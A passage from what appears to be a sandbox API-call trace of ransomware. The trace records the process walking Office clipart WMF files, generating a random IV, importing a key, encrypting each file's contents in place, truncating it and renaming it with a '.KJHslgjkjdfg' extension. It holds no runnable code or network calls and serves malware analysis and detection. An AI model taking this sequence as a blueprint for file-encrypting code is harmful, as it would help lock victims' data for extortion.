ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0155.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.156] GetProcessHeap () returned 0x2a0000 [0155.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.157] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.157] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.163] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.163] GetProcessHeap () returned 0x2a0000 [0155.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.163] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.163] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.164] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.164] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.164] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.164] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.164] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xec4, lpOverlapped=0x0) returned 1 [0155.164] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xed0, dwBufLen=0xed0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xed0) returned 1 [0155.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.165] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xed0, lpOverlapped=0x0) returned 1 [0155.165] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.165] SetEndOfFile (hFile=0x114) returned 1 [0155.169] GetProcessHeap () returned 0x2a0000 [0155.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.170] GetProcessHeap () returned 0x2a0000 [0155.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.kjhslgjkjdfg")) returned 1 [0155.173] CloseHandle (hObject=0x114) returned 1 [0155.173] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0155.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.173] GetProcessHeap () returned 0x2a0000 [0155.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.173] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.174] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.176] GetProcessHeap () returned 0x2a0000 [0155.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.176] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.176] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.176] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.176] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.177] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.177] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.177] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.177] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1044, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1044, lpOverlapped=0x0) returned 1 [0155.180] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1050, dwBufLen=0x1050 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1050) returned 1 [0155.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.181] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1050, lpOverlapped=0x0) returned 1 [0155.181] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.181] SetEndOfFile (hFile=0x114) returned 1 [0155.184] GetProcessHeap () returned 0x2a0000 [0155.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.184] GetProcessHeap () returned 0x2a0000 [0155.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.kjhslgjkjdfg")) returned 1 [0155.185] CloseHandle (hObject=0x114) returned 1 [0155.186] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0155.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.186] GetProcessHeap () returned 0x2a0000 [0155.186] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.187] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.187] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.190] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.190] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.190] GetProcessHeap () returned 0x2a0000 [0155.190] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.190] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.190] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.190] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.190] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.190] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.190] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.190] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.191] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.191] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.191] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x32c, lpOverlapped=0x0) returned 1 [0155.191] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x330, dwBufLen=0x330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x330) returned 1 [0155.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.191] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x330, lpOverlapped=0x0) returned 1 [0155.191] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.191] SetEndOfFile (hFile=0x114) returned 1 [0155.194] GetProcessHeap () returned 0x2a0000 [0155.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.194] GetProcessHeap () returned 0x2a0000 [0155.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.kjhslgjkjdfg")) returned 1 [0155.196] CloseHandle (hObject=0x114) returned 1 [0155.196] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0155.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.198] GetProcessHeap () returned 0x2a0000 [0155.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.198] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.198] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0155.201] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.201] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.201] GetProcessHeap () returned 0x2a0000 [0155.201] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.202] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.202] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.202] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.202] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.202] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.202] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.202] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.202] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.202] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.202] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x332e, lpOverlapped=0x0) returned 1 [0155.204] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3330, dwBufLen=0x3330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3330) returned 1 [0155.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.204] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3330, lpOverlapped=0x0) returned 1 [0155.204] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.204] SetEndOfFile (hFile=0x114) returned 1 [0155.207] GetProcessHeap () returned 0x2a0000 [0155.207] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.207] GetProcessHeap () returned 0x2a0000 [0155.207] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.kjhslgjkjdfg")) returned 1 [0155.208] CloseHandle (hObject=0x114) returned 1 [0155.208] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0155.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.209] GetProcessHeap () returned 0x2a0000 [0155.209] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.209] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0155.212] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: 